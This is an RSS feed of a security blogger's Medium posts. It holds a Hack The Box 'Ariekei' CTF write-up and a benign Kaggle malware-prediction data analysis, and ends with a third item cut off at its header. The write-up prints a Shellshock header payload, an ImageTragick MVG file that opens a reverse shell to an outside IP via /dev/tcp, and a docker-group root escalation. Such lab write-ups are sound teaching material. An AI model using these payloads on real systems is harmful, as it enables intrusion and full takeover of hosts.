<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gabriel Pirjolescu on Medium]]></title>
        <description><![CDATA[Stories by Gabriel Pirjolescu on Medium]]></description>
        <link>https://medium.com/@gabriel.pirjolescu?source=rss-47acca63e51------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Gabriel Pirjolescu on Medium</title>
            <link>https://medium.com/@gabriel.pirjolescu?source=rss-47acca63e51------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 06:58:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gabriel.pirjolescu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box — Ariekei Write-up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/hack-the-box-ariekei-write-up-cd8f261cd2ca?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd8f261cd2ca</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Mon, 22 Jun 2020 22:59:26 GMT</pubDate>
            <atom:updated>2020-06-22T22:59:26.423Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Ariekei Write-up</h3><p>Ariekei is a Linux machine on Hack The Box. It is rated with a difficulty level of insane. The initial foothold requires exploiting a web application which is vulnerable to the <a href="https://imagetragick.com/">ImageTragick</a> vulnerability. Following, the attacker needs to move laterally through several <a href="https://www.docker.com/">Docker</a> containers to reach the final host. The privilege escalation comes in the form of abusing a misconfiguration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*5uJuTjwPH6ZGzkb3vb-jZQ.jpeg" /></figure><p><strong>Initial enumeration</strong></p><p>The first step is to add the machine’s IP address to the /etc/hosts file and perform the port enumeration. The first thing that stands out is that we have two different ports for ssh. Apart from the two ssh ports, we only have a web application running on port 443.</p><pre>root@kali:~/htb/ariekei# cat /etc/hosts<br>127.0.0.1       localhost<br>127.0.1.1       kali<br>10.10.10.65     ariekei.htb</pre><pre># The following lines are desirable for IPv6 capable hosts<br>::1     localhost ip6-localhost ip6-loopback<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*1siY4BuGwgYCT9BhgdkzcQ.png" /></figure><p><strong>Exploring </strong><strong>ariekei.htb</strong></p><p>The web application is under maintenance and doesn’t reveal anything at first sight. Following, we’ll try to find any hidden directories by using gobuster with the -f flag which appends a / to each request. On the first attempt, we see that its certificate is valid for two different subdomains: calvin.ariekei.htb and beehive.ariekei.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*ZULHtQ-9bkgaJLHRw9fp8w.png" /></figure><p>To overcome this problem we can use the -k flag to skip the SSL certificate verification. As a result, we find several directories, of which /cgi-bin/ looks interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*NFb21aI6zKPlY5WajXoDnw.png" /></figure><p>Next we can further enumerate /cgi-bin/. In there, we can find a /stats script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*0B9kRaGptJr0a1DZTrI3Dw.png" /></figure><p>The /cgi-bin/stats page returns a bunch of information including the date and time on the system, the load average, the bash version and environment variables. After a bit of research, we can see bash version 4.2.37 is vulnerable to the <a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">Shellshock</a> exploit. I will explain the vulnerability in more detail later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*tyb2qEzYAmx7RPWN2rPBSg.png" /></figure><p>After routing the traffic through burp and trying to exploit Shellshock, I have found out that there is a WAF present. The WAF can be spotted in the response header X-Ariekei-WAF: beehive.ariekei.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-62ZshoyOvMXfeUHFdKoA.png" /></figure><p><strong>Shellshock</strong></p><p>Shellshock is a family of vulnerabilities in <a href="https://en.wikipedia.org/wiki/Bash_(Unix_shell)">Bash</a>. When coupled with a web application it can potentially lead to arbitrary command execution. We can exploit it through the stats script discovered earlier.</p><p>The vulnerability lies in the possibility of Bash to define functions and export them to other subordinate instances of itself. The way it does this is by placing the functions in the environment variables list. However, Bash executes the trailing commands when it imports a function definition stored in an environment variable.</p><p>The webserver will transform the request headers into environment variables by copying and pasting them directly. Therefore, if we replace one of the headers with a maliciously crafted string we will obtain command execution. Such an example can be found below.</p><pre>User-Agent: () { :; }; /bin/ls</pre><p><strong>Web Application Firewall (WAF)</strong></p><p>As we will discover later in this article, after we get our first shell we will be able to see the source code of the WAF. For the sake of the explanation let’s just assume that we know which one it is. In our case, it is a configuration <a href="https://github.com/theonemule/docker-waf">project</a> to deploy <a href="https://modsecurity.org/">ModSecurity</a> in a Docker container with Nginx.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*dVAc7x2K9DvFc5_2rQ_8fA.png" /><figcaption>Nginx example configuration</figcaption></figure><p>ModSecurity is a rules-based WAF. It uses the concept of Connectors to integrate into web servers such as Apache or Nginx. Besides, it provides a C++ and C interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*A8bfhDUWOX3PVgCoOy5QMQ.png" /><figcaption>ModSecurity C++ sample interface</figcaption></figure><p>The <a href="https://www.modsecurity.org/CRS/Documentation/making.html">rules</a> syntax is made up of 4 parts:</p><ul><li>Variables — instructs ModSecurity where to look.</li><li>Operators — instructs ModSecurity when to trigger a match.</li><li>Transformations — instructs ModSecurity how it should normalise variable data.</li><li>Actions — instructs ModSecurity what to do if a rule matches.</li></ul><p>Below we can observe the structure of a rule followed by a simple rule. The rule extracts the URI from the request. Next, it will transform it to lowercase. In case the URI is equal to /index.php the request will be denied. All the rules are evaluated at every request.</p><pre>SecRule VARIABLES &quot;OPERATOR&quot; &quot;TRANSFORMATIONS,ACTIONS&quot;</pre><pre>SecRule REQUEST_URI &quot;@streq /index.php&quot; &quot;id:1,phase:1,t:lowercase,deny&quot;</pre><p><strong>Exploring calvin.ariekei.htb</strong></p><p>Furthermore, we’ll add the <strong>calvin.ariekei.htb</strong> subdomain to /etc/hosts and start exploring it. The index page will return a 404 Not Found response. Thus, let’s run directories scan using gobuster. We find an /upload page with the title of Image Converted which provides a simple file upload functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*p2bvVHWWHPab5tl2g7nwHQ.png" /></figure><p>The next step is a bit CTF-ish and it contains two clues which point to an exploit called <a href="https://imagetragick.com/">ImageTragick</a>.</p><ul><li>The title of the page Image Converted points to a piece of software called <a href="https://imagemagick.org/index.php">ImageMagick</a> which is used to convert, edit, compose or convert different image formats. It is provided as a library with interfaces in a multitude of languages.</li><li>The source page contains some ASCII art with two masks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCG2-OMo3A7HQzXDnmp4sg.png" /></figure><p><strong>Exploiting ImageTragick</strong></p><p>The ImageTragick vulnerability is <a href="https://imagetragick.com/">explained</a> below:</p><pre><em>ImageMagick allows to process files with external libraries. This  feature is called &#39;delegate&#39;. It is implemented as a system() with  command string (&#39;command&#39;) from the config file delegates.xml with  actual value for different params (input/output filenames etc). Due to  insufficient %M param filtering it is possible to conduct shell command  injection. One of the default delegate&#39;s command is used to handle https  requests:</em></pre><pre><em>The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to </em><a href="https://hackerone.com/stewie"><em>Stewie</em></a><em> for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others - which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default </em><em>delegates.xml / </em><em>policy.xml, may be vulnerable to this issue.</em></pre><p>The next step is to use one of the examples showcased in <a href="https://blog.cloudflare.com/inside-imagetragick-the-real-payloads-being-used-to-hack-websites-2/">this</a> blog post which have been tried as exploitation methods into the wild and get a reverse shell.</p><pre>root@kali:~/htb/ariekei# cat malicious.mvg <br>push graphic-context<br>viewbox 0 0 640 480<br>fill &#39;url(https://&quot;|setsid /bin/bash -i &gt;/dev/tcp/10.10.14.28/4444 0&lt;&amp;1 2&gt;&amp;1&quot;)&#39;&#39;&quot;)&#39;<br>pop graphic-context</pre><p><strong>Exploring Docker</strong></p><p>Once we get the shell we see that we are the root user and it is pretty clear that we are inside a Docker container. In this section I will explain how Docker works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*JbEO_r-OeV-cMsz7LSNtCg.png" /></figure><p>Docker provides a platform in the form of a virtualisation engine where software packages in the forms of a container can be run. Containers are isolated (similar to a virtual machine, but more lightweight) between them and bundle their own software, libraries and configuration files. However, they can still communicate with each other. All containers are run by a single operating system kernel and therefore use fewer resources than virtual machines. The main difference between a container and a virtual machine is that a virtual machine starts a new kernel for each instance, while all containers in Docker share the same kernel code.</p><p>The virtualisation environment is called Docker Engine and tit has several advantages. The first one is that the containers that run inside it are standardised, thus no matter the host two similar containers they will always have the same features, software packages, etc. This eliminates the disparity between your development and production environments. Another advantage is that they are lightweight. An image can be used and then the commands can be configured to deploy additional software. Last but not least, they are secure. Breaking inside a Docker container prevents having direct access to the host and adds the additional step of breaking out of the container. Furthermore, it enables a microservices architecture since each container can run a component with its one scope.</p><p><strong>calvin.ariekei.htb</strong></p><p>We are now inside the calvin container. The common folder in the root partition is an anomaly in Linux systems. While exploring it we find a .secrets folder with a private and public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*sav3J3AZffkUC6lG0hHa1w.png" /></figure><p>Another folder of interest is /common/network. It contains a script named make_nets.sh which creates two different networks, 172.24.0.0/24 and 172.23.0.0/24. The first one is segregated from the internet while the other is open. Moreover, there exists an image info.png which show the topology of the network. To find out what is the container’s IP address and what network we are on we would usually run ifconfig or ip addr. However, the commands are not available. In this case, we can look directly in the /proc/net folder which contains multiple files providing a list of various networking parameter in statistics. When we grep for the first byte of the IP address (172) we can observe that in /proc/net/fib_trie (which holds the routing table) the address 172.23.0.11 is present. Therefore, we are were we assumed. On calvin.ariekei.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*3JqLwRpjuNIygXvO3wNJxw.png" /></figure><p>In the diagram below we can observe the two networks. The open one on the left and the closed one on the right. Our requests to the web application are going on port 443 through the WAF which acts as a reverse proxy for calvin. Since our ImageTragick wasn’t stopped by the WAF, it reached calvin which started a reverse shell which succeeded since it resides on the open network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*PEcfEZHSrxk9F5_t71AzcA.png" /></figure><p>Finally, in the /common/containers folder we can find the repositories for the containers. As I have mentioned before, we can infer which WAF is running from the readme.md file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*UP0BWPCKpBvvQJJIof7IRg.png" /></figure><p><strong>ezra.ariekei.htb</strong></p><p>The SSH key-pair which we have extracted from calvin worked on port 1022. As we can see from the diagram we are now in the container bastion-live which sits in between the two networks having one interface for each of the open and close networks. Its hostname is ezra.ariekei.htb and its IP addresses are 172.23.0.252 and 172.24.0.252. From here we should theoretically have access to beehive.ariekei.htb. We can verify this by pinging the host and trying to curl the web application running on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*YGBhQJTQCO3IlJqcHmLccw.png" /></figure><p>A result of having access to ezra is that we also have direct access from it to beehive. Therefore, we should be able to exploit the Shellshock vulnerability since our requests are not going through the WAF anymore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmdYPkvrccEaZmHIxsLBkw.png" /></figure><p>However, we won’t be able to start a reverse shell from beehive since we don’t have access to the network. In this situation, we can use <a href="https://www.ssh.com/ssh/tunneling/example">SSH tunneling</a> using port forwarding.</p><p>We will use local forwarding to forward a port from ezra to beehive. The SSH client on ezra listens for a connection on the configured port and when it receives a connection, it tunnels the connection to the SSH server on beehive. Besides, we will set remote forwarding from ezra to our localhost. This allows for beehive machine to send traffic through an open port on ezra which is then relayed back to us. Finally, we exploit the Shellshock vulnerability from ezra and interact with beehive from our local machine through the SSH tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*wBn3ipRDmJz1IqxS_vvPGA.png" /><figcaption>Local and remote ssh forwarding</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0zzv4sRjS1GdbPhBvaRFkg.png" /><figcaption>Exploiting the Shellshock vulnerability</figcaption></figure><p><strong>beehive.ariekei.htb</strong></p><p>The first thing to observe is that we are not root anymore. While enumerating the files used to construct the container for bastion-live we find a private key and the root password in the Dockerfile. Dockerfile is used to build images automatically by relaying the instructions inside to Docker. After we get the root user on beehive, we find another private key in /home/spanishdancer/.ssh/id_rsa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HaW3PnV7gF9779Z4oyWVyw.png" /></figure><p>The key is encrypted so we’ll have to crack it. For this we have to extract a hash from the private key that is in a format acceptable by <a href="https://www.openwall.com/john/">john</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRaOiD8TgSoGSnv2GdeQvg.png" /></figure><p><strong>Privilege escalation</strong></p><p>The last step is to pivot from the spanishdancer user to root. After checking the user and the groups it is part of, we immediately spot that it is part of the docker group. This results in a common privilege escalation on machines with Docker installed. Usually, to run Docker commands one has to use sudo. As an alternative, the docker group was introduced where a user doesn’t need sudo to run Docker commands. To exploit it we will bind mount the root volume on the machine to a folder of our choosing (-v). Moreover, it will be interactive (-i) with a pseudo-TTY (-t) terminal.</p><pre>spanishdancer@ariekei:~$ mkdir /home/spanishdancer/vol<br>spanishdancer@ariekei:~$ docker run -v /:/home/spanishdancer/vol -i -t bash bash<br>bash-4.4# ls /home/spanishdancer/vol/root<br>root.txt</pre><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources</strong></p><ol><li><a href="https://imagetragick.com/">https://imagetragick.com/</a></li><li><a href="https://www.docker.com/">https://www.docker.com/</a></li><li><a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">https://en.wikipedia.org/wiki/Shellshock_(software_bug)</a></li><li><a href="https://en.wikipedia.org/wiki/Bash_(Unix_shell)">https://en.wikipedia.org/wiki/Bash_(Unix_shell)</a></li><li><a href="https://github.com/theonemule/docker-waf">https://github.com/theonemule/docker-waf</a></li><li><a href="https://www.modsecurity.org/">https://www.modsecurity.org/</a></li><li><a href="https://www.modsecurity.org/CRS/Documentation/making.html">https://www.modsecurity.org/CRS/Documentation/making.html</a></li><li><a href="https://imagetragick.com/">https://imagetragick.com/</a></li><li><a href="https://blog.cloudflare.com/inside-imagetragick-the-real-payloads-being-used-to-hack-websites-2/">https://blog.cloudflare.com/inside-imagetragick-the-real-payloads-being-used-to-hack-websites-2/</a></li><li><a href="https://www.ssh.com/ssh/tunneling/example">https://www.howtogeek.com/428413/what-is-reverse-ssh-tunneling-and-how-to-use-it/</a></li><li><a href="https://www.openwall.com/john/">https://www.openwall.com/john/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd8f261cd2ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft Malware Prediction — Data Exploration]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/microsoft-malware-prediction-data-exploration-e262a439662c?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/e262a439662c</guid>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[microsoft]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Wed, 03 Jun 2020 20:35:52 GMT</pubDate>
            <atom:updated>2020-06-03T20:35:52.092Z</atom:updated>
            <content:encoded><![CDATA[<h3>Microsoft Malware Prediction — Data Exploration</h3><p>This material was produced as group coursework for a university assessment together with two friends, Razvan Milicin and <a href="https://www.facebook.com/francois.gouws.9">Francois Gouws</a>. The coursework allowed us to choose any past or present <a href="https://www.kaggle.com/">Kaggle</a> competition, explore the data and build different machine learning models to see how would they perform.</p><p>We have chosen the <a href="https://www.kaggle.com/c/microsoft-malware-prediction">Microsoft Malware Prediction</a> competition. The task was to predict if a machine will be hit by malware based on a set of features provided by Microsoft. In this article, we will present different particularities we have found in the data.</p><p><strong>Introduction</strong></p><p>The description of each feature can be found <a href="https://www.kaggle.com/c/microsoft-malware-prediction/data">here</a>. In this section, we will present an overview of the challenges faced with this dataset. First, we will present the approach used while exploring the data and the decisions taken for the features with missing and biased values. Next, we will explain why most of the features can be treated as categorical and how we encoded them so that they can be further used in our models. Finally, we will show how we discovered and overcame the challenge posed by having versioning features with non-overlapping values in the train and test datasets.</p><p><strong>Missing Data</strong></p><p>The first step in data exploration is to look at values with a high percentage of missing values. We have decided to drop the ones with a very large percentage of missing values such as PuaMode (99% null values), Census ProcessorClass (99% null values) and DefaultBrowsersIdentifier (95% null values and the valid ones show no meaningful difference).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*q0uCbmY2U2rpXRRptm7r4A.png" /><figcaption>The features with the highest percentage of missing values</figcaption></figure><p>The next step would be to look at the types of missing values or to analyse and diagnose the missing data mechanism. The three types of missing data types are missing completely at random(MCAR), missing at random(MAR) and missing not at random(MNAR) and will dictate how we deal with the columns that have missing data. If the data is MCAR, the missing data is uniformly distributed and the missingness of the data does not depend on the other variables, observed or unobserved. If the missing data is classified as MAR, then the missingness depends on the observed data. MNAR is when the missingness correlates to both the missing and the observed data points, the missing data is correlated to the actual values of the missing value. We cannot measure whether data is MAR vs MNAR, as to do this we would have to be able to observe and measure the missing data.</p><p>The simplest method to infer the nature of the missingness would be with knowledge of the data collection procedure. Unfortunately, not enough information is provided about the collection or sampling process. The best alternative is to explore visually the missingness of the data. In the figure below we can observe a nullity matrix (we have used an <a href="https://github.com/ResidentMario/missingno">external module</a>) showing the completeness of the columns. The columns with percentage missing values of up to 0.5% are shown. This allows us to visually inspect for any obvious patterns in the missing data. It is noted that there are several columns with a considerable amount of missing values. There are also columns where data is missing in the same/similar rows. These are Census_OEMNameIdentifier and Census_OEMModelIdentifier, Wdft_isGamer, Wdft_RegionIdentifier, the three features dealing with primary display, Census_PrimarydiskTotalVolume and Census_SystemVolumeTotalCapacity. This allows the pattern of the missing data to be visualised. There does not seem to be any major pattern to the missing data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*NkOWTN10TpthN6VtB-lHIQ.png" /><figcaption>The nullity matrix</figcaption></figure><p>Furthermore, in the figure below we can see a heatmap which measures the nullity correlation. The heatmap displays how the absence or non-absence of one variable correlates with the absence and non-absence of another variable. The correlation of -1 represents a relationship where if one variable appears, the other one does not. And vice versa for a correlation of 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9F43CJWmJtFEONVgTwCrA.png" /><figcaption>The nullity correlation heatmap</figcaption></figure><p>There are several ways to handle missing values. The simplest is to perform row or pair-wise deletion. Another method is to use imputation. The simplest being to replace the missing values with the mean or the median of the existing ones (for numerical features), with the mode (for numerical and categorical ones). These two methods although simple, reduce the variance. Another approach is by using a model-based approach, which means building a model to predict the missing values. More advanced measures include using Random Forests for MAR and NMAR data. This approach uses multiple decision trees used to estimate missing values and outputs ”out of bag” imputation error estimates. It works best with large datasets. Another solution is to use multivariate imputation by chained equations. This assumes that data are missing at random and the imputation model is variable based on the feature type. Predictive mean matching can be used for continuous features, while logistic regression can be used for binary variables. For factor variables, one can use Bayesian regression and proportional odds model for ordered variables. Irrelevant features must be removed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*0F1i0TPs55_xvdvIuQo_bg.png" /><figcaption>The features with the highest skewness</figcaption></figure><p>Another important aspect is the skewness or the percentage of values in the largest category. It can be observed that 27 features have more than 90% of the values in one category. We have decided to drop the features which have more than 99% of the values in the largest category. These are Census_IsWIMBootEnabled, IsBeta, Census_IsFlightsDisabled,<br>Census_IsFlightingInternal, AutoSampleOptIn, Census_ThresholdOptIn, SMode, Census_IsPortableOperatingSystem, Census_DeviceFamily and UacLuaenable. In theory, there exist techniques to fix the skewness, but as we will see later most of the features are categorical and not numerical, thus we cannot perform any transformations on them.</p><p><strong>Non-stationary features</strong></p><p>While exploring the data we have observed a characteristic of the dataset that is also explained in the description of the competition, ”Malware detection is inherently a time-series problem, but it is made complicated by the introduction of new machines”. As it can be observed, the training data was gathered in August and September 2018 while the test is comprised of data points from October and November 2018. This means that we cannot rely on versioning features for our model and we will have to replace them with new features that represent the dependence on time.</p><p>The first step was to download the mapping from the AvSigVersion feature (which represents the antivirus signature version) to the timestamps of the dates they were released on to have a better understanding about when the data was recorded. Then, we added a new feature to the dataset called Date which represents the value of the mapping mentioned earlier. The last step was to plot the density of the data and the detection rate over time. The density is represented by the solid lines and the detection rate is represented by the dotted lines. Several observations can be made based on the following graphs. As mentioned before, there is a major spike in the number of data points in the training set in August and September, while a similar spike appears in the test set but in October and November. Second, it can be observed that the number of detections increases proportionally with the number of data points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*5vsDwlfJVnQ_M8R2OCM1VQ.png" /><figcaption>Training data density plotted against time</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*cMSIgdzbzAPhp2Z5SERAmg.png" /><figcaption>Test data density plotted against time</figcaption></figure><p>One possible method to test for non-stationary features is to perform <a href="http://manishbarnwal.com/blog/2017/02/15/introduction_to_adversarial_validation/">adversarial validation</a>, whereby the test and training data are combined, a feature is added for test and train as isTest and then they are combined. A classifier is then used to specify whether a data point is a test or training data. Ideally, we want an <a href="https://towardsdatascience.com/understanding-auc-roc-curve-68b2303cc9c5">AUC</a> score of 0.5, therefore the classifier would be no better than guessing if the data is test or training.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*WJ2oLQJassAQp8jsRq2OjQ.png" /><figcaption>The feature importance graph</figcaption></figure><p>In the graph above we can observe the feature importance plot as a result of implementing the random forest classifier. From this graph, we can observe the features that are most different in test and training data. It is clear to see that the top 5 are all some type of version identifier, this is expected as the versions will change as updates are rolled out. By implementing the above, the AUC score is given as 0.89, well above 0.5, indicating some serious differences in the training and test distributions. The <a href="https://towardsdatascience.com/understanding-auc-roc-curve-68b2303cc9c5">ROC</a> curve is displayed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*x3FcCLcc9w2Ud6ZbkoFfZQ.png" /><figcaption>The ROC curve</figcaption></figure><p><strong>Categorical Features</strong></p><p>Although a lot of the features look like they are numerical most of them are categorical. The only truly numerical column is Census_SystemVolumeTotalCapacity. The other ones are categorical and represent data like versions and identifiers. To represent the categorical variables we take into account five different <a href="https://arxiv.org/abs/1604.06737">encodings</a> which can be used based on the distribution of a feature or the algorithm chosen in the second stage.</p><p><strong>Category Encoding</strong></p><p>We leave the feature as a category and potentially group them a lower number of important categories. Algorithms live Decision Tree Classifier and LightGBM can accept categorical variables, but most of the other algorithms do not accept them.</p><p><strong>Binary Encoding</strong></p><p>For each category in a feature, a new column is added. The column corresponding to the category will have the value 1 and the other will have the value 0. The problem with this encoding is that if a feature has a lot of categories it will increase the size of the dataset exponentially. In the example given we can see that 10% of the values are in the category ExistsNotSet. However, for this category, the malware detections percentage is 80%. This<br>variable is not time-dependent, thus we can binary encode if the variable takes the value ExistsNotSet or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*KtHcq05eM4ThXc7pKw2oKQ.png" /><figcaption>A binary encoding example</figcaption></figure><p><strong>Numeric Encoding</strong></p><p>This is used when a categorical variable is represented numerically (e.g. versions) and we can observe a correlation between the natural ordering of the numbers and the value of that category. After determining the ordering, we can encode each occurrence of that original number with its ranking number. The logic behind this is that usually, we do not want to use categorical features as a number since the algorithms will infer there exists an ordering. However, there is an ordering of the values. In this case, we can observe a trend in the Category Proportion when it is plotted against AvProductsInstalled numeric value. Besides, this variable is also time-independent. Therefore, we can numerically encode this feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*3AH-rJo16S1ouHtfSdtvdg.png" /><figcaption>A numeric encoding example</figcaption></figure><p><strong>Frequency Encoding</strong></p><p>As the name suggests, in this situation we simply encode a feature by replacing a category with the count of how many times a specific value occurs (frequency of that value) within that category. For the Census_OSInstallTypeName we can see a trend in the Category Proportion plotted against it. Also, this is not time-dependent, thus we can frequency encode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*zR-KIaDkbLId63YETJYUpQ.png" /><figcaption>A frequency encoding example</figcaption></figure><p><strong>Target Encoding</strong></p><p>Here we have to calculate the proportion of times when HasDetections has the value 1 within a category. Following, we replace each occurrence of that value with the proportion. As we can see from the graphs, the feature is not time-dependent. Furthermore, it cannot be binary encoded since it has 222 categories. It also cannot be frequency encoded because there is no correlation with the detection rate, neither numeric encode it. Therefore, we can only target encode it, since this is the only correlation we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*6nyJl_5obWPDlN5r3t4L6w.png" /><figcaption>A target encoding example</figcaption></figure><p><strong>Encoding Versioning Features</strong></p><p>As mentioned earlier, some of the features such as Census_OSVersion, AvSigVersion, EngineVersion and AppVersion are time-dependent and some of them do not have any overlap in between the training dataset and the test dataset. To replace these variables we can create a new column which captures temporal observation rate. For example, we can encode the number of weeks passed since the beginning of 2018 and check if there is an association between the passing of time and the detection rate. Finally, we can see a trend in frequency.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*XxvcuOvG7qegNR7tH-sffA.png" /><figcaption>A versioning encoding example</figcaption></figure><p><strong>Conclusion</strong></p><p>This part has exposed our insight into the dataset. Following, we will apply what we have found in trying to model the available data in a suitable form for different machine learning algorithms. In the next part, we will explain what we have learned from the different machines trained on the data.</p><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources</strong></p><ol><li><a href="https://www.kaggle.com/">https://www.kaggle.com/</a></li><li><a href="https://www.kaggle.com/c/microsoft-malware-prediction">https://www.kaggle.com/c/microsoft-malware-prediction</a></li><li><a href="https://www.kaggle.com/c/microsoft-malware-prediction/data">https://www.kaggle.com/c/microsoft-malware-prediction/data</a></li><li><a href="https://github.com/ResidentMario/missingno">https://github.com/ResidentMario/missingno</a></li><li><a href="http://manishbarnwal.com/blog/2017/02/15/introduction_to_adversarial_validation/">http://manishbarnwal.com/blog/2017/02/15/introduction_to_adversarial_validation/</a></li><li><a href="https://towardsdatascience.com/understanding-auc-roc-curve-68b2303cc9c5">https://towardsdatascience.com/understanding-auc-roc-curve-68b2303cc9c5</a></li><li><a href="https://arxiv.org/abs/1604.06737">https://arxiv.org/abs/1604.06737</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e262a439662c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Jail Write-up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/hack-the-box-jail-write-up-e279862155d4?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/e279862155d4</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[selinux]]></category>
            <category><![CDATA[nfs-server]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Tue, 26 May 2020 16:09:11 GMT</pubDate>
            <atom:updated>2020-05-26T16:09:11.900Z</atom:updated>
